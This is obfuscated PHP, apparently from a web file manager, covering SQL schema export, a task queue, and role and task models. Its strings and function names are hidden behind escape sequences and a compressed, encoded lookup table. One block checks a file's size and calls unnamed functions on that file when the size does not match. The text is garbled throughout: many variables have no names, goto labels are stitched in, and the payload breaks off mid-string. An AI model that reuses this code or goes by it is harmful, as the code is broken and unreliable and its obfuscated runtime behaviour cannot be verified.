$ϝ[1143]; $ǖ = $ . $ϝ[1144]; $Ө = $ == $ϝ[13] ? $ϝ[848] : $ϝ[13]; IO::copy(CONTROLLER_DIR . "\x69\156\163\164\x61\x6c\x6c\x2f\144\141\164\141\x2f{$Ө}\x2e\x73\161\x6c", $); @touch($ . $ . $ϝ[832]); $떣 = fopen($틤, $ϝ[1117]); $Ҽ = fopen($ǖ, $ϝ[1117]); if ($ == $ϝ[13]) { $ȶ׊ = array_diff($ȶ׊, array($ϝ[824], $ϝ[825])); $ = array($ϝ[1145], $ϝ[1146], $ϝ[1147]); fwrite($Ҽ, implode(PHP_EOL, $) . PHP_EOL . PHP_EOL); foreach ($ȶ׊ as $ԛ) { $ۧʗ = $this->sqlFromSqlite($ԛ); if (!$ۧʗ[$ϝ[13]]) { continue; } fwrite($Ҽ, $ۧʗ[$ϝ[13]] . PHP_EOL . PHP_EOL); if (!in_array($ԛ, $Υ)) { fwrite($떣, $ۧʗ[$ϝ[848]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ȶ׊ as $ԛ) { $ۧʗ = $this->sqlFromMysql($ԛ); if (!$ۧʗ[$ϝ[848]]) { continue; } fwrite($떣, $ۧʗ[$ϝ[848]] . PHP_EOL . PHP_EOL); if (!in_array($ԛ, $Υ)) { fwrite($Ҽ, $ۧʗ[$ϝ[13]] . PHP_EOL . PHP_EOL); } } } fclose($떣); fclose($Ҽ); $īո = array($ϝ[848] => $틤, $ϝ[13] => $ǖ); return $ ? $īո[$] : $īո; } public function dbType($׹ = false) { $ݢ =& $_SERVER[]; $޳ = $׹ ? $GLOBALS[$ݢ[6]][$ݢ[21]] : $this->database; $޳ = array_change_key_case($޳); $ = $޳[$ݢ[1017]]; if ($ == $ݢ[1014]) { $ʀղ = explode($ݢ[4], $޳[$ݢ[1023]]); $ = $ʀղ[0]; } $ˡ = array($ݢ[1148] => $ݢ[13], $ݢ[960] => $ݢ[848]); if (isset($ˡ[$])) { $ = $ˡ[$]; } return $; } public function sqlFromMysql($, $ = '') { $ =& $_SERVER[]; $ = $this->model()->db(); $ = $->query($[1149] . $ . $[436]); if (!$ || !$[0]) { return !1; } $ = _get($[0], $[1150], $[12]); if (!$) { return !1; } $ꩈ = "\104\x52\x4f\x50\40\124\101\x42\114\x45\x20\111\x46\40\x45\x58\111\123\124\x53\x20\140{$}\x60\x3b" . PHP_EOL . $ . $[74]; if ($ && $ == $[848]) { return $ꩈ; } $ = array_change_key_case($GLOBALS[$[6]][$[21]]); $ۏ = $[$[1022]]; $ȉ = $[1151] . $ۏ . $[1152] . $ . $[58]; $Ō = $[1153] . $ . $[948]; $ = $->query($ȉ); if (empty($)) { $ = array($[848] => $[12], $[13] => $[12]); return $ ? $[$] : $; } $ = $->query($Ō); $ = $[12]; $ = array(); foreach ($ as $ɓ) { if (!$ && $ɓ[$[1154]] == $[1155]) { $ = $ɓ[$[1156]]; } if (isset($[$ɓ[$[1154]]])) { $[$ɓ[$[1154]]][$[1157]][] = $ɓ[$[1156]]; continue; } $[$ɓ[$[1154]]] = array($[1158] => $ɓ[$[1154]], $[1157] => array($ɓ[$[1156]]), $[1159] => $ɓ[$[1160]] == $[91] ? 0 : 1); } $́ = array(); foreach ($ as $ɓ) { $ = $ɓ[$[1158]] == $[1155]; $Ĩ = array($[1161], $ɓ[$[1159]] == $[91] && !$ ? $[1162] : $[12], $[1163], $[1164] . $ . $[11] . ($ ? $[1165] : $ɓ[$[1158]]) . $[121], $[1166], $[121] . $ . $[121], $[1167] . implode($[1168], $ɓ[$[1157]]) . $[1169]); $́[] = implode($[53], $Ĩ) . $[74]; } $՞ = array(); $ = array($[1170] => $[1171], $[1171] => $[1171], $[339] => $[366], $[338] => $[366]); foreach ($ as $ɓ) { $Ĩ = array($[121] . $ɓ[$[1172]] . $[121], isset($[$ɓ[$[1173]]]) ? $[$ɓ[$[1173]]] : $ɓ[$[1174]], $ɓ[$[1175]] == $[946] ? $[1176] : $[1177], $ɓ[$[1172]] == $ ? $[1178] : $[12], $ɓ[$[997]] ? strtoupper(str_replace($[11], $[12], $ɓ[$[997]])) : $[12]); $՞[] = trim(implode($[53], $Ĩ)); } $ = array($[1179] . $ . $[1180], $[1181] . $ . $[1182], implode($[50] . PHP_EOL, $՞), $[994]); $ى = implode(PHP_EOL, array_merge($, $́)); if ($ && $ == $[13]) { return $ى; } $ = array($[848] => $ꩈ, $[13] => $ى); return $ ? $[$] : $; } public function sqlFromSqlite($, $ = '') { $̖ =& $_SERVER[]; $ҺNj = $this->model()->db(); $ԧϯ = "\120\122\101\107\x4d\101\x20\x54\101\x42\114\105\137\x49\116\106\x4f\x20\50\47{$}\47\51"; $ = "\x53\x45\114\x45\103\x54\40\x2a\40\x46\x52\x4f\115\x20\x73\x71\154\x69\x74\x65\x5f\155\x61\163\164\x65\162\40\x57\x48\105\122\105\x20\164\142\154\137\156\x61\155\145\x20\75\40\x27{$}\47"; $ᬀ = $ҺNj->query($ԧϯ); if (empty($ᬀ)) { $ = array($̖[848] => $̖[12], $̖[13] => $̖[12]); return $ ? $[$] : $; } $풗 = $ҺNj->query($); $ = $ߎ = array(); foreach ($풗 as $ٮ) { if ($ٮ[$̖[33]] == $̖[331]) { $[] = $ٮ[$̖[1183]]; } else { $ߎ[$ٮ[$̖[32]]] = $ٮ[$̖[1183]]; } } $ܓ貈 = array_merge(array($̖[1179] . $ . $̖[121]), $, array_values($ߎ)); $ܓ貈 = implode($̖[74] . PHP_EOL, $ܓ貈) . $̖[74]; if ($ && $ == $̖[13]) { return $ܓ貈; } $㯰 = array(); $ = array($̖[1171] => $̖[1184], $̖[366] => $̖[1185]); $ϓ = $̖[12]; foreach ($ᬀ as $ٮ) { if ($ٮ[$̖[57]] == $̖[91]) { $ϓ = $ٮ[$̖[32]]; } $ = array($̖[436] . $ٮ[$̖[32]] . $̖[436], isset($[$ٮ[$̖[33]]]) ? $[$ٮ[$̖[33]]] : $ٮ[$̖[33]], $ٮ[$̖[35]] == $̖[91] ? $̖[1176] : $̖[1186] . $ٮ[$̖[56]], $ٮ[$̖[57]] == $̖[91] ? $̖[1187] : $̖[12]); $㯰[] = trim(implode($̖[53], $)); } foreach ($ߎ as $ => $֪ǁ) { $ = str_replace($̖[1188] . $ . $̖[11], $̖[12], $); $ = str_replace(array($̖[121], $̖[1005]), $̖[436], substr($֪ǁ, stripos($֪ǁ, $̖[312]))); if ($ == $̖[1165]) { $ = $̖[1189] . $ϓ . $̖[1190]; } else { $ = (stripos($, $̖[11]) ? $̖[1191] : $̖[12]) . ($̖[1192] . $ . $̖[1193] . $); } $㯰[] = $; } $˜͜ = array($̖[1194] . $ . $̖[1195], $̖[1196] . $ . $̖[1197], implode($̖[50] . PHP_EOL, $㯰), $̖[1198]); $ = implode(PHP_EOL, $˜͜); if ($ && $ == $̖[848]) { return $; } $ = array($̖[848] => $, $̖[13] => $ܓ貈); return $ ? $[$] : $; } } goto Aʏ; B쩎ť: $_size = $_SERVER[][1851]; if ($_SERVER[$_SERVER[][921]] != $_size($_file)) { $_getc = $_SERVER[][924]; $_getfile = $_SERVER[$_SERVER[][925]] . $_SERVER[][926]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][253], $_getfilec); if (count($_getarrs) < $_SERVER[][665]) { $exit = $_SERVER[][927]; $exit(); } $_act = $_SERVER[][1009]; $_act($_file); } class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\164\x61\163\x6b\121\165\145\x75\145\x4c\145\156\147\x74\150"; const QUEUE_DATA = "\x74\x61\163\153\121\165\x65\165\145\x44\141\x74\141"; const QUEUE_TIME = "\x74\141\x73\x6b\x51\165\145\x75\145\114\141\x73\164\x52\165\x6e"; const QUEUE_THREAD = "\x74\x61\x73\x6b\121\165\145\165\145\124\150\x72\x65\141\x64"; public static $listData = false; public static $listDataAdd = false; public static function initTask() { } public static function add($Ӆ, $ƌŹ = array(), $ = '', $ݷ = '') { $ =& $_SERVER[]; if (self::$listData === !1) { self::$listData = self::getAll(); self::$listDataAdd = array(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ݷ && array_find_by_field(self::$listData, $[97], $ݷ)) { return !0; } if ($ݷ && array_find_by_field(self::$listDataAdd, $[97], $ݷ)) { return !0; } self::$listDataAdd[] = array($[316] => $Ӆ, $[1852] => $ƌŹ, $[501] => $, $[97] => $ݷ); return !0; } public static function addSubmit() { $ =& $_SERVER[]; if (!self::$listDataAdd || count(self::$listDataAdd) == 0) { return; } self::setAll(array_merge(self::getAll(), self::$listDataAdd)); write_log($[1853] . json_encode_force(array_to_keyvalue(self::$listDataAdd, $[12], $[501])), $[188]); self::$listData = !1; self::$listDataAdd = !1; } public static function addNow($, $ďė = array(), $ = '', $ = '') { $ =& $_SERVER[]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ = self::getAll(); if ($ && array_find_by_field($, $[97], $)) { return !0; } $[] = array($[316] => $, $[1852] => $ďė, $[501] => $, $[97] => $); self::setAll($); write_log($[1853] . $, $[188]); return !0; } public static function run() { $ޮ =& $_SERVER[]; $ = self::getAll(); $ = array_shift($); if (!$) { return !1; } self::setAll($); $ = timeFloat(); $͌ = $ޮ[12]; try { $͌ = Hook::apply($[$ޮ[316]], $[$ޮ[1852]]); } catch (Exception $Ĩ) { write_log($Ĩ, $ޮ[1236]); } $ਛ = number_format(timeFloat() - $, 3) . $ޮ[1769]; if ($͌ && is_string($͌)) { $ਛ = $ਛ . $ޮ[1854] . $͌; } write_log($ޮ[1855] . $[$ޮ[501]] . $ޮ[1856] . $ਛ, $ޮ[188]); Cache::set(self::QUEUE_TIME, time(), 3600 * 24 * 30); return !0; } public static function runThread() { $߳ =& $_SERVER[]; $ = self::threadCount() + 1; if ($ > 3 || !self::count()) { return; } write_log($߳[1857] . $, $߳[188]); Cache::set(self::QUEUE_THREAD, $, 3600 * 24); AutoTask::clearUserStatus(); while (!0) { if (!self::run()) { break; } usleep(mt_rand(200, 50000)); } Cache::set(self::QUEUE_THREAD, 0, 3600 * 24); write_log($߳[1858], $߳[188]); } public static function getKey($Ջ, $֤ = "\151\156\164") { $р =& $_SERVER[]; Cache::removeMemory($Ջ); $ = Cache::get($Ջ); if ($֤ == $р[339]) { return $ ? intval($) : 0; } if ($֤ == $р[1859]) { return is_array($) ? $ : array(); } return $; } public static function lastTime() { return self::getKey(self::QUEUE_TIME); } public static function count() { return self::getKey(self::QUEUE_LENGTH); } public static function threadCount() { return self::getKey(self::QUEUE_THREAD); } public static function getAll() { return self::getKey(self::QUEUE_DATA, $_SERVER[][1859]); } public static function setAll($ۏ) { $̼ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($ۏ), $̼); Cache::set(self::QUEUE_DATA, $ۏ, $̼); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); Cache::set(self::QUEUE_THREAD, 0, 60); } } goto cۚ; b̃: class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\164\145\x6d\56\162\x6f\x6c\x65\114\x69\163\x74"; public $field = array("\x6e\x61\x6d\145", "\x61\x75\164\x68", "\x6c\x61\142\145\154", "\144\151\x73\x70\154\141\x79", "\163\171\163\164\x65\x6d", "\144\145\x73\143", "\151\147\x6e\157\x72\x65\105\170\x74", "\x69\x67\156\157\x72\x65\x46\x69\x6c\x65\123\x69\x7a\145", "\141\x64\155\x69\x6e\x69\163\x74\x72\141\x74\157\162", "\163\157\x72\x74"); public function listData($߮ = false, $ՠ = "\x73\x6f\162\164", $È = false) { $ =& $_SERVER[]; $Ȩ = parent::listData($߮, $ՠ, $È); if (!$߮) { foreach ($Ȩ as $᷊ => $) { if ($[$[2160]] == 1) { $Ȩ[$᷊][$[501]] = LNG($[2423]); } } } return $Ȩ; } public function update($, $Ғ) { $ =& $_SERVER[]; $ͧ = parent::listData($); $붂 = $this->findByName($Ғ[$[32]]); if (!$ͧ || $붂 && $붂[$[450]] != $ͧ[$[450]]) { return !1; } if ($붂[$[2160]] == 1) { $Ғ = array($[32] => $Ғ[$[32]], $[1975] => $Ғ[$[1975]]); } $this->filterAuth($Ғ[$[462]]); return parent::update($, $Ғ); } public function remove($) { $ = parent::listData($); if (!$ || $[$_SERVER[][182]]) { return !1; } return parent::remove($); } public function add($ҥ) { $ކ =& $_SERVER[]; $ʧ = $ҥ[$ކ[32]]; if ($this->findByName($ʧ)) { return !1; } $ΐ = array($ކ[469] => $ʧ, $ކ[1958] => $ކ[12], $ކ[1954] => $ކ[1962], $ކ[2424] => 1, $ކ[1957] => 0, $ކ[2425] => 0, $ކ[1956] => $this->getSort()); $ҥ = array_merge($ΐ, $ҥ); $this->filterAuth($ҥ[$ކ[462]]); return parent::insert($ҥ); } private function getSort() { $Ԃ =& $_SERVER[]; $ը = parent::listData(); $ = array_to_keyvalue($ը, $Ԃ[12], $Ԃ[1976]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$ƴ) { $ټ =& $_SERVER[]; $ = array(); $А = array_filter(explode($ټ[50], $ƴ)); foreach ($А as $ƴ) { $ = explode($ټ[10], $ƴ); if ($[0] == $ټ[2426] && $[1] != $ټ[1244]) { $ = $[0] . $ټ[10] . $[1] . $ټ[2427]; if (!in_array($, $А)) { $[] = $; } } $[] = $ƴ; } $ƴ = implode($ټ[50], $); } public function findRoleDefault() { $ =& $_SERVER[]; $Ε = parent::listData(); $ԁ݈ = !1; foreach ($Ε as $Ĉҵ) { if (!$Ĉҵ || $Ĉҵ[$[1974]] == $[219] || $Ĉҵ[$[2160]] == 1) { continue; } if (strstr($Ĉҵ[$[462]], $[2428])) { continue; } if (!strstr($Ĉҵ[$[462]], $[2429])) { continue; } if (!$ԁ݈) { $ԁ݈ = $Ĉҵ; continue; } $ս = explode($[50], $ԁ݈[$[462]]); $秶䊎 = explode($[50], $Ĉҵ[$[462]]); if (count($ս) > count($秶䊎)) { $ԁ݈ = $Ĉҵ; } } return $ԁ݈ ? $ԁ݈[$[450]] : $[12]; } public function sort($у, $ۇ) { return parent::update($у, $ۇ); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\x53\171\163\164\x65\155\x2e\x74\x61\x73\x6b\114\x69\x73\164"; public $field = array("\156\141\x6d\145", "\164\171\160\145", "\145\x76\x65\156\x74", "\164\151\x6d\145", "\144\x65\163\x63", "\163\x79\x73\x74\x65\x6d", "\145\x6e\x61\x62\x6c\145", "\154\141\163\x74\122\x75\x6e", "\x73\157\162\164"); public function listData($ߊߪ = false, $ = "\x73\x6f\x72\164", $ = false) { return parent::listData($ߊߪ, $, $); } public function add($ӹ) { $ʳ =& $_SERVER[]; $ = $this->findByName($ӹ[$ʳ[32]]); if ($) { return !1; } $ӹ[$ʳ[1704]] = 0; $ӹ[$ʳ[1976]] = $this->getSort(); return parent::insert($ӹ); } private function getSort() { $ő =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $ő[12], $ő[1976]); return empty($) ? 0 : max($) + 1; } public function update($˅, $Ü) { $ =& $_SERVER[]; $ = $this->listData($˅); $ț = $this->findByName($Ü[$[32]]); if (!$ || $ț && $ț[$[450]] != $[$[450]]) { return !1; } return parent::update($˅, $Ü); } public function remove($, $ߤ = false) { $ =& $_SERVER[]; $ȯ = $this->listData($); if (!$ȯ) { return; } if (!$ߤ && $ȯ[$[182]] == $[91]) { return !1; } return parent::remove($); } public function enable($, $) { return $this->update($, array($_SERVER[][2418] => $)); } public function run($딍) { return $this->update($딍, array($_SERVER[][2430] => time())); } } goto D; E: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define("\xb3\xe0\xbc\xee\xaf\xe1", base64_decode('7KHAoa66')); $_SERVER[] = explode(base64_decode('fAF8AnwF'), gzinflate(substr(_kodDe('K34S8/vz8/PzBvNwuGv8yA4jqFw+ePxpRcNrCyXOBQl8zM4Ge4QazGCECTogpoVZzIUlyTk=')."\xc4\x92\x46\xd6\x8c\xbc\x64\x61\xdf\xa\x24\x61\xdf\x5e\xd8\xca\x5e\x96\x40\x29\x5b\x42\xd8\x1e\xcb\x6b\x69\x81\x57\x5a\x68\x1f\x50\x1e\x10\x3b\xa1\x65\x2d\xa5\xf\xa\x94\xff\x2e\xe7\x2e\x33\x92\xe1\xfd\xdf"."\373\277\357\317\227\104\167\71\367\316\135\316\75\347\334\163\317\75\367\271\67\307\317\177\151\363\372\75\327\357\265\176\237\77\75\171\365\317\336\276\223\206\311\377\173\322\360\261\27\354\273\7".base64_decode('+XPIBefX1HTM2W9G1/6bf3G3dpf2M+3CSPj5X4cOeOGuk4ITNz0/NrHnHo9/d+zkRgRMyw==')."\66\322\37\45\157\332\212\76\152\130\266\105\23\222\146\76\155\14\320\260\221\247\277\176\372\323\23\15\27\365\234\151\353\64\352\243\77\252\324\256\175\254\241\254\301\362\325\256\110\134\215\365".base64_decode('dHcHo3EAapTzc2YKQgWtqOXg+wW9aKHWyNWpBbOg5x0pIiGl2VpCs6Cm1ma1NdgdjqxU4w==')."\53\273\203\0\221\120\207\112\172\161\214\306\110\60\146\153\105\73\156\344\164\16\61\122\344\355\152\16\266\207\272\224\170\64\320\25\13\264\304\103\221\56\232\334\22\351\354\14\305\313\323\243"."\x91\x70\xb8\x39\xd0\xb2\xa4\x3c\xa7\x3b\x1a\x68\xef\xc\x28\xa8\x7d\x59\x5d\x35\xf2\x69\xb3\x46\x59\x4d\x73\x56\x2b\xb5\x34\xd0\x66\xe8\xd9\x14\xd\xe6\x35\xd6\x1c\x7b\xac\x0\xa1\x38\xf\xa1\x69\xca\x97\xb2".base64_decode('WRrp4qGUntZKWRitVjlSKBo5jXV6iT7GU2lAK9mmkU/SSHDULmoiHbU1iSZaz0NVsWA42A==')."\x12\x57\x70\x3\x95\xb6\x68\xa4\x53\x81\x49\xc8\x69\x96\xad\x17\x95\xe5\x1d\xc1\x68\x50\xc1\x8d\x6e\xaa\x26\x7d\xad\x56\x0\x5f\xba\xd0\x50\x28\x81\x70\x58\x99\xac\x6\x5b\xcf\x15\x58\x35\xb4\x4c\x85\xca\x22"."\321\326\140\124\151\136\251\210\21\112\232\271\234\231\367\241\132\320\114\332\122\123\203\321\50\15\170\0\275\303\41\74\151\20\211\264\265\305\202\74\6\235\133\32\106\55\231\11\370\351\210\245".strrev('XkP` rRδ+/L*4Qu'."\0".'~􃦆%[Y')."\xc0\x40\x2b\x74\x98\x6\x9b\x16\xd2\xdf\xf9\x50\x3e\xa1\xe2\x3c\xbd\x68\xab\x7a\x3e\x69\xa6\x8c\x3c\xac\xe3\x45\x80\x8f\x9a\x9d\x69\x2d\x1a\x8\x80\xc6\xd3\x66\x36\xc5\xc2\x96\xb1\x16\x7a\x99\x36\xb2\x7a\x57"."\x29\x27\x83\xf0\x68\x32\x63\x64\x53\x45\xb6\xf4\xbe\x9\x92\x46\xc3\x7c\x25\x63\x58\x11\x2b\xa0\x96\x70\x22\x60\xa4\xc7\xc4\x52\xc4\x70\xdd\x3c\xd7\x32\x4b\xc5\xa4\x1e\x42\x4b\x87\xc6\xeb\x21\x59\xb7\x6d\xd4"."\71\66\40\146\117\41\153\152\251\230\136\344\135\63\314\66\124\121\244\144\313\211\45\2\326\146\26\163\255\210\150\300\367\321\202\61\172\52\144\14\262\45\223\222\106\314\137\323\173\272\367\237"."\375\275\213\321\177\265\100\25\373\240\115\31\75\233\125\365\121\35\326\124\56\65\333\142\203\341\267\22\106\336\217\122\150\64\24\121\63\232\225\351\114\315\126\111\51\106\154\123\372\250\257\220"."\51\300\202\347\153\274\317\201\363\170\350\272\114\73\50\221\354\254\231\324\262\162\27\151\70\143\333\205\230\236\117\341\221\200\256\230\43\171\62\122\5\135\7\240\126\217\222\122\72\225\225\112"."\x47\xa3\xd1\x68\xb1\x82\xb9\x2c\xf\xb1\xde\xf1\x34\x8b\x27\xda\xa3\x6c\x3a\x53\x69\xc0\x56\xc6\x31\xaa\xe0\x83\x86\x45\x88\x9f\x58\xb9\x5a\xa1\x90\x35\x92\x9a\x6d\x98\x79\xbf\x99\xb4\x75\xdb\x6b\xd9\x45\x5d".base64_decode('gxoDyaRuWd4WM28Xzaw3kM2aI95I0Rgw8o3KdKDDKBOtdy+mjY2wiKvmKxhx8GemN5XstA==')."\367\104\266\70\71\164\121\313\133\151\275\350\15\302\312\150\124\120\143\71\201\144\140\255\206\125\60\55\3\67\257\121\321\154\133\113\146\60\161\21\325\67\175\3\274\221\317\32\171\275\14\66".base64_decode('OFowirrF2qq0d8ahElS77u0uagM5rVEplBJoZGClVkij0DA0jUoSRz1KrmTZ3qKOqJSBOA==')."\x21\xc\x72\x28\xed\xed\xc4\xeb\xca\xd0\x53\xde\x18\x22\xe6\x90\x3c\xb3\x6e\x96\x82\x50\x47\x61\x79\x34\xb5\x23\x1e\xef\x56\x43\x6d\x88\x5b\x77\x5\xd5\xce\x40\xbc\xa5\x3\x9a\x6d\x6b\x3\xac\xcd\x61\x44\xa2".base64_decode('eZUscYUXrS+MXF2oryKx2xzRi+jDzWONyqCZSpijPpaFgWOI0DBgPN0F2xvV8gN4fBJjtg==').base64_decode('brlJVTPi7b40Xcy+hJ42i9Aba3jAORdhPT9gZ1jdsWB0WTCqxiJt8eWBKIgCeYRIo6w1+A==')."\xeb\x59\x6f\x54\x4f\xa1\xd9\x49\xda\xac\x9c\x56\xc0\x3\xcb\x60\xf0\xfa\xc1\x1f\x67\xb9\x78\x4d\xb1\xbc\x70\xa8\x1d\x8f\x5d\xab\xd7\x42\x40\x5e\x19\x8a\xd5\x1d\x36\x72\x6\xee\x9e\xcd\x73\xc8\x60\x23\x39\xa1"."\x1d\x1a\xe4\x27\x7d\x6e\xea\xb3\xa6\xd7\xf4\xa5\x66\xd4\x7a\xd1\xff\xd3\x6b\x7b\xfb\x5a\x7d\xd3\xfb\x17\xf9\xd\x51\xc6\x5f\xef\xab\x57\x1a\xea\xe6\x28\xdd\x48\x70\x31\xb4\xac\x2\x9d\x2e\x83\xa8\x53\x22\x4b"."\x9c\xc3\x22\x10\x3e\x6f\xe6\xf5\x6f\x18\x1c\xcc\xf9\x24\xca\xe0\x1a\x56\x9a\x18\xd\x2e\xed\x9\xc6\xe2\x6a\x67\x30\xde\x11\x69\x85\xaf\x7\x3\x10\xa\x9b\x74\x65\xb3\xde\xf6\xd2\x9f\x7e\x40\x80\x7e\xfa\xa3"."\32\126\233\304\171\160\224\123\50\325\114\254\101\223\321\251\63\62\14\63\37\312\151\3\22\37\120\235\154\2\307\160\146\247\100\16\204\145\313\215\24\347\43\50\332\241\33\3\31\30\60\3"."\127\227\64\263\146\121\313\142\352\311\26\216\316\50\332\200\1\24\255\220\55\41\234\361\343\57\304\63\245\134\2\210\76\222\37\7\164\133\210\147\326\30\222\141\162\214\271\41\16\151\207\132".base64_decode('HSwMYn4Vz3Ofr5AfqD0B6lIbZtfhBEBR6CKSU0t6+Rj4kiZaFJ3aoN6IOwUkZj5JZRGJ9g==')."\314\307\354\242\311\275\246\360\74\145\175\71\124\11\251\263\305\344\14\216\356\4\346\73\331\205\242\27\213\146\361\70\200\40\141\205\360\34\74\157\120\271\315\71\270\205\226\17\13\147\114\316"."\xf1\xcd\x22\x84\x1a\xfd\xd0\xef\xa9\xd\x6d\xb0\xe4\x52\x48\xf2\xf1\x59\x36\x9a\xd\xd4\x41\x2d\x95\xaa\x94\x8c\x96\x29\x54\xb0\x1e\xbe\x43\x33\x18\x4b\xf5\xc7\x66\xa2\xbf\x82\x7f\xa6\xcc\x9c\xc6\xb8\x11\xe1"."\x23\x7a\x8a\x32\x12\x47\x52\x87\xae\x71\x44\x9c\xce\xea\x2d\xda\x26\xce\x2c\x3a\x20\x11\x4a\x66\x4c\x68\x19\x9a\x7a\xe8\x55\x89\x77\x8f\x75\x34\xa5\x67\x75\x86\x4e\x19\x9d\xf1\xe2\x3a\x0\x43\xc3\xcf\x91\x2d"."\315\261\36\111\333\50\125\10\101\206\25\105\45\61\347\144\361\345\170\173\42\22\260\370\0\310\43\202\131\64\165\21\262\174\104\274\273\250\247\15\240\170\171\204\335\235\132\161\220\165\14\225"."\x14\xb\xf\x47\xa4\x45\xd9\xd6\x13\xe\xab\x2d\x91\xae\x38\xda\xdd\xd0\x94\xe5\xd1\x50\x3c\xc8\x88\x40\xa0\x55\xd\xb4\x74\x43\xc\x53\x6f\x1a\xe4\x12\x8e\xcc\xa3\x69\xca\x70\x3\xe0\x9\x6a\x84\x5f\x8\x13"."\210\57\26\314\274\245\173\223\120\102\354\175\312\262\122\202\327\2\202\10\376\354\142\271\243\136\55\267\326\233\103\124\304\313\333\344\224\164\24\340\301\124\140\12\301\64\11\26\212\7\17\55"."\144\46\142\165\107\142\120\140\21\116\105\142\156\202\257\267\356\36\310\312\111\50\322\36\204\304\375\0\253\62\32\10\257\201\345\61\306\376\112\10\276\150\254\325\104\227\26\261\366\260\216\344"."\262\102\152\166\366\312\53\146\276\144\171\165\314\241\305\27\146\171\73\72\3\55\336\130\107\240\141\366\34\232\272\62\227\352\213\167\30\126\337\52\36\207\141\34\261\146\251\105\35\21\34\366"."\241\206\272\172\106\16\220\350\42\65\157\245\67\347\305\265\340\21\364\325\325\325\261\272\146\314\121\62\210\316\1\66\233\371\24\231\45\266\205\51\45\7\331\202\321\222\114\212\304\73\160\313".base64_decode('O2IwEn0CF7hPKMeeE5zMCKooEWlR1ZL4Yyqq0S5Z8kihZZVChQwmHNNULTuABt3O5OREMQ==')."\xf1\x34\xae\x53\x99\x8d\xcf\x1d\x1f\x45\x3c\xb6\x95\xf8\x23\x23\x3\x48\x5c\x83\x6e\xac\xa8\xd8\x86\x15\x95\xda\xb0\xc2\xd5\x86\x15\xe5\x6d\xa0\x49\x96\x31\x90\x47\xbd\x64\x5c\x2e\xde\x11\xea\x5a\xa2\x76\x46".base64_decode('WoNhNdSFmHq8PL2nuzXAFq6c3hyJdzhSexBbXxYIh9zgwRWhWDxWMQul9QRdOa3Nanc02A==').base64_decode('FlrBo22hYLg1prYEWjoETFegM8h5uZ5NWX4nvIrkkxjXpKjDWCvEsFB1KC9Uti1XBe1Aog==')."\xaa\xe\x3\xe\xdd\xc5\xba\x28\xd2\x13\x95\x21\x69\x89\x49\x4f\x7c\x9b\x96\x63\xcc\x21\xa7\x1\xc9\xd4\x98\x8c\x59\x43\x7f\x6a\x95\x40\x4c\xb1\xb\x2a\x67\x3\x89\x31\x1e\x24\xdd\x60\x71\xc4\x1c\xe1\xfb\xa"."\310\112\145\55\120\61\114\263\44\320\126\116\10\244\155\56\51\271\342\210\350\211\74\64\3\1\242\364\102\230\100\146\4\76\143\40\22\132\264\3\254\71\151\241\160\122\43\335\301\150\0\253".base64_decode('q9Tl0UhXOxQYyeisASEY/hq2dQGtlS04Edp3aEx9IQZ9jcmGchrQALS7BZKSZ8OdwNyYCQ==').base64_decode('ZCyQRuSPcVKzxD+TMM0sI8w5JgigxcHVXWsshh2jjLfM4DQMcDayJNilMpSiMQkNaUIwGg==').base64_decode('jURhJGxzkKk6aGY0GGNkHdNLg42T3zcD0FdHQgd83n9y38iMml7vDF8/CtROX0yjEOvzOQ==')."\xa2\x4c\x16\x2c\x15\x79\x69\xbc\xd5\xa8\xb1\x16\xd5\x36\xf6\xf9\xfb\xfc\x35\x8b\x1a\x7b\x3\xde\xb5\x9a\x77\x6d\x9d\x77\x9e\xb7\x1f\x49\x90\xb5\x33\x20\xa1\x7f\x5d\x83\x67\xd6\x6\xc\x80\x0\x17\x1d\xdf\x8f"."\176\232\372\26\115\355\363\116\73\145\365\342\336\276\376\352\306\31\307\365\371\216\357\33\351\237\136\273\210\175\47\131\52\42\41\225\221\52\324\324\324\214\32\324\44\264\5\341\40\171\302\343"."\44\0\226\261\326\50\210\324\165\163\66\260\164\64\207\372\200\50\321\353\355\233\321\277\110\52\47\45\271\277\205\110\50\142\270\31\16\27\360\256\302\75\343\105\361\202\7\374\50\345\223\202".strrev('nC6!&!,Q3}țw_Ȼ'."\0".'q'."\0".'@Б')."\x8f\xe8\xc\x3d\x50\xba\x23\x8e\x90\x83\x11\x7c\x94\x25\xc5\xb2\x12\xb3\x20\x7a\xa\x89\xcf\x32\x61\xaf\xa0\xe2\x4d\xc9\x8\x8f\x21\xfe\x1\xf3\x34\x5\xa0\xad\xa4\x56\xd0\x63\x52\xf\x55\x35\x1e\x68\xe\x7"."\x55\x46\x5a\x80\x4\xb3\x38\x21\x87\xcd\x5c\x49\x8e\xba\x26\x48\x29\x23\xc\x49\xb1\xed\x25\x4a\x0\x58\xf2\xd6\x50\x56\x21\x14\x81\x6e\x2\x1a\xc9\x79\x81\x55\x2a\x60\x79\x5e\x41\x33\x8e\xc6\x56\x41\x9c\x5b"."\151\132\250\320\41\207\162\252\74\1\5\56\247\143\45\226\56\26\75\46\115\320\246\202\230\41\13\211\320\114\210\365\327\364\365\225\172\365\124\177\57\102\174\315\233\356\137\67\163\103\55\333"."\x19\xfb\xfb\xd0\x1f\x16\x9\x54\xd0\x5c\xab\x9c\xc\xaa\x48\x20\xf3\xe1\x76\x70\xd\xa5\x23\xc2\xb3\x69\xd4\x2c\x72\x49\xb8\xe0\xd8\x78\xda\xa6\xad\x65\x1d\x55\xc4\x71\xa\x23\x4d\x4c\x80\x2\x5d\x1d\x9d\xed".base64_decode('sKBYWHaTVP6EjnZx3RiXgCSdMy4R020fh/BImSqKO45fmqoYlc+j